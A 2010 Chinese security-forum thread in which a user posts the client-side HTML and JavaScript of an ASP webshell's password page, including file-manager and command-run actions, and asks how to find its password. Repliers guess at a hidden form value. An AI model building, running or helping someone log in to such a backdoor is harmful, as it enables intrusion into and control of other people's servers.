【3.A.S.T】网络安全爱好者 - Powered by Discuz! Board

标题: 代码的问题 [打印本页]

作者: mssxmoon 时间: 2010-7-6 21:42 标题: 代码的问题

<title>管理登录 - ASP木马</title>
<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>

<style>A:visited {color: #333333;text-decoration: none;}A:active {color: #333333;text-decoration: none;}A:link {color: #000000;text-decoration: none;}A:hover {color: #333333;text-decoration: none;}BODY {font-size: 9pt;COLOR: #000000;font-family: "Courier New";border: none;background-color: buttonface;}textarea {font-family: "Courier New";font-size: 12px;border-width: 1px;color: #000000;}table {font-size: 9pt;}form {margin: 0;}#fsoDriveList span{width: 100px;}#FileList span{width: 90;height: 70;cursor: hand;text-align: center;word-break: break-all;border: 1px solid buttonface;}.anotherSpan{color: #ffffff;width: 90;height: 70;text-align: center;background-color: #0A246A;border: 1px solid #0A246A;}.font{font-size: 35px;line-height: 40px;}#fileExplorerTools {background-color: buttonFace;}.input, input {border-width: 1px;}</style>
<script language=javascript>
function showHideMe(me){
if(me.innerText == ''){
me.innerText = '\nNo Contents!';
}
if(me.style.display == 'none'){
me.style.display = '';
}else{
me.style.display = 'none';
}
}
function changeMyClass(me){
if(me.className == ''){
if(usePath.value != '')document.getElementById(usePath.value).className = '';
usePath.value = me.id;
status = me.title;
me.className = 'anotherSpan';
}
}
function changeThePath(me){
location.href = '?pageName=' + pageName.value + '&thePath=' + me.id;
}
function fixTheLayer(strObj){
var objStyle=document.getElementById(strObj).style;
objStyle.width = document.body.clientWidth;
objStyle.top = document.body.scrollTop + 2;
}
function openUrl(){
newWin = window.open('?pageName=' + pageName.value + '&theAct=openUrl&thePath=' + usePath.value);
}
function newOne(){
newWin = window.open('?pageName=' + pageName.value + '&theAct=newOne&thePath=' + truePath.value, '', 'menu=no,resizable=yes,height=110,width=300');
}
function editFile(){
newWin = window.open('?pageName=' + pageName.value + '&theAct=showEdit&thePath=' + usePath.value, '', 'menu=no,resizable=yes');
}
function appDoAction(act){
newWin = window.open('?pageName=' + pageName.value + '&theAct=' + act + '&thePath=' + usePath.value, '', 'menu=no,resizable=yes,height=100,width=368');
}
function downTheFile(){
if(confirm('如果该文件超过20M,\n建议不要通过流方式下载\n这样会占用服务器大量的资源\n并可能导致服务器死机!\n您可以先把文件复制到当前站点目录下,\n然后通过http协议来下载.\n按\"确定\"用流来进行下载.')){
newWin = window.open('?pageName=' + pageName.value + '&theAct=downTheFile&thePath=' + usePath.value, '', 'menu=no,resizable=yes,height=100,width=368');
}
}
function appDoAction2(act){
newWin = window.open('?pageName=' + pageName.value + '&theAct=' + act + '&thePath=' + truePath.value, '','menu=no,resizable=yes,height=100,width=368');
}
function appTheAttributes(){
newWin = window.open('?pageName=' + pageName.value + '&theAct=theAttributes&thePath=' + usePath.value, '', 'menu=no,resizable=yes,height=194,width=368');
}
function appRename(){
newWin = window.open('?pageName=' + pageName.value + '&theAct=rename&thePath=' + usePath.value, '', 'menu=no,resizable=yes,height=100,width=368');
}
function upTheFile(){
newWin = window.open('?pageName=' + pageName.value + '&theAct=showUpload&thePath=' + truePath.value, '', 'menu=no,resizable=yes,height=80,width=380');
}
function wsLoadIFrame(){
cmdResult.location.href = '?pageName=SaCmdRun&theAct=readResult';
}
function fsoRename(){
newWin = window.open('?pageName=' + pageName.value + '&theAct=showFsoRename&thePath=' + usePath.value, '', 'menu=no,resizable=yes,height=20,width=300');
}
function delOne(){
newWin = window.open('?pageName=' + pageName.value + '&theAct=delOne&thePath=' + usePath.value, '', 'menu=no,resizable=yes,height=100,width=368');
}
function fsoGetAttributes(){
newWin = window.open('?pageName=' + pageName.value + '&theAct=getAttributes&thePath=' + usePath.value, '', 'menu=no,resizable=yes,height=170,width=300');
}
</script><style>body{margin:8;text-align:center;}</style>ASP木马<hr/><body onload=document.forms[0].userPassword.focus();><form method=post onsubmit=this.Submit.disabled=true;><input name=userPassword class=input type=password size=30> <input type=hidden name=theAct value=chkLogin><input type=submit name=Submit value="芝麻开门," class=input><hr/><br/></form><body>

上面是一个webshell的代码，但是我没找到密码~~~希望大家给解答一下~~

作者: saitojie 时间: 2010-7-7 11:23

以上这个代码有问题吧！

作者: mssxmoon 时间: 2010-7-7 11:43

2# saitojie
有什么问题？？？？

作者: saitojie 时间: 2010-7-7 16:32

document.forms[0].userPassword.focus();
这个东西，我找不到！
另外感觉密码像chkLogin但是本地测试没有成功，就是因为我不能肯定，所以上面的回答，我才加了一个"吧"字！
嘻嘻！

作者: death's-head 时间: 2010-8-15 13:53

<input type=hidden name=theAct value=chkLogin>

欢迎光临【3.A.S.T】网络安全爱好者 (http://3ast.com/)